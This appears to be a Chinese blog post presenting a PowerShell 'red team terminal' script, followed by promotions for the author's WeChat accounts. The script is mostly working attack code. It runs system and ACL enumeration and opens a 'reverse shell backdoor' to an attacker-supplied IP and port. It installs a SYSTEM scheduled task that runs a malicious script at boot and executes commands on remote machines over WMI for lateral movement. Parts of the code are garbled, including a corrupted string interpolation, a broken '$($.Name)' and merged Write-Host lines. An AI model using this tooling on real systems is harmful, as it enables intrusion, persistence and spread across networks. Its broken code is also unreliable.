红队终端工具：高级系统枚举与权限提升的PowerShell脚本

redteam_terminal.ps1

作者：Gerard King

描述：一个一级红队操作员终端程序，用于高级系统枚举、权限提升和持久化

使用场景：渗透测试人员和红队操作员在Windows环境中进行对抗性演练

标签：PowerShell，红队，渗透测试，枚举，权限提升，持久化

功能：收集详细的系统信息（如操作系统、用户、服务）

function Get-SystemInfo {
$os = Get-CimInstance -ClassName Win32_OperatingSystem
$cpu = Get-CimInstance -ClassName Win32_Processor
$services = Get-Service
$users = Get-WmiObject -Class Win32_UserAccount
Write-Host "n[+] 系统信息：" Write-Host "操作系统：$($os.Caption) | 版本：$($os.Version)" Write-Host "CPU：$($cpu.Name)" Write-Host "n[+] 系统用户："
$users | ForEach-Object { Write-Host "用户：$($.Name) | 域：$($.Domain)" }
Write-Host "`n[+] 运行中的服务："
$services | Select-Object Name, Status | Format-Table
}

功能：使用Netstat和PowerShell扫描开放端口和活动服务

function Scan-Network {
Write-Host "`n[+] 网络扫描（开放端口）："
$netstat = netstat -an | Select-String "LISTENING"
$netstat | ForEach-Object { Write-Host $_.Line }
}

功能：执行权限提升检查（如不安全权限）

function Priv-EscalationCheck {
Write-Host "n[+] 权限提升检查（不安全权限）：" $vulnerableDirs = @( "C:\Program Files", "C:\Windows\System32", "C:\Users\Public" ) foreach ($dir in $vulnerableDirs) { Write-Host "n检查目录：$dir"
Get-Acl $dir | Select-Object Path, Access
}
}

功能：启动反向Shell后门

function Start-ReverseShell {
param (
[string]$ip,
[int]$port
)
Write-Host "`n[+] 启动反向Shell连接到 ${ip}😒{port}"
$reverseShell = New-Object System.Net.Sockets.TcpClient($ip, $port)
$stream = $reverseShell.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
while ($true) {
$command = Read-Host "Shell命令"
if ($command -eq "exit") {
$writer.WriteLine("exit")
$writer.Flush()
break
}
$writer.WriteLine($command)
$writer.Flush()
$response = $reader.ReadLine()
Write-Host $response
}
$reader.Close()
$writer.Close()
$reverseShell.Close()
}

功能：创建持久化机制（如计划任务）

function Set-Persistence {
Write-Host "`n[+] 设置持久化（计划任务）"
$taskName = "RedTeamPersistence"
$taskAction = "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1"
$taskTrigger = New-ScheduledTaskTrigger -AtStartup
$taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $taskAction
Register-ScheduledTask -Action $taskAction -Trigger $taskTrigger -TaskName $taskName -User "NT AUTHORITY\SYSTEM"
Write-Host "[+] 通过计划任务安装持久化机制：$taskName"
}

功能：启动横向移动（如远程WMI或SMB执行）

function Lateral-Movement {
param (
[string]$targetIp,
[string]$command
)
Write-Host "`n[+] 启动横向移动到 ${targetIp}"
Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command
Write-Host "[+] 在 ${targetIp} 上执行的命令：${command}"
}

功能：提示用户交互和命令执行

function Start-RedTeamTerminal {
# 检查管理员权限 # 已移除管理员检查
Clear-Host
Write-Host "[+] 欢迎使用红队终端。准备接收命令。"
Write-Host "[+] 输入'exit'退出或'help'查看可用命令。"
while ($true) {
$input = Read-Host "输入命令"
switch ($input.ToLower()) {
'sysinfo' { Get-SystemInfo }
'network' { Scan-Network }
'priv' { Priv-EscalationCheck }
'rev' {
$ip = Read-Host "输入攻击者IP"
$port = Read-Host "输入端口"
Start-ReverseShell -ip $ip -port $port
}
'persistence' { Set-Persistence }
'lateral' {
$targetIp = Read-Host "输入目标IP"
$command = Read-Host "输入要执行的命令"
Lateral-Movement -targetIp $targetIp -command $command
}
'exit' { Write-Host "[+] 退出红队终端。"; break }
'help' {
Write-Host "`n[+] 可用命令："
Write-Host "'sysinfo' - 显示系统信息。"
Write-Host "'network' - 扫描开放端口。"
Write-Host "'priv' - 检查权限提升机会。"
Write-Host "'rev' - 启动反向Shell后门。"
Write-Host "'persistence' - 通过计划任务设置持久化。"
Write-Host "'lateral' - 通过横向移动远程执行命令。"
Write-Host "'exit' - 退出终端。"
}
default { Write-Host "[+] 无效命令。输入'help'查看可用命令。" }
}
}
}

启动红队终端

Start-RedTeamTerminal

关闭窗口前暂停

Read-Host "按Enter退出..."
更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）

公众号二维码

公众号二维码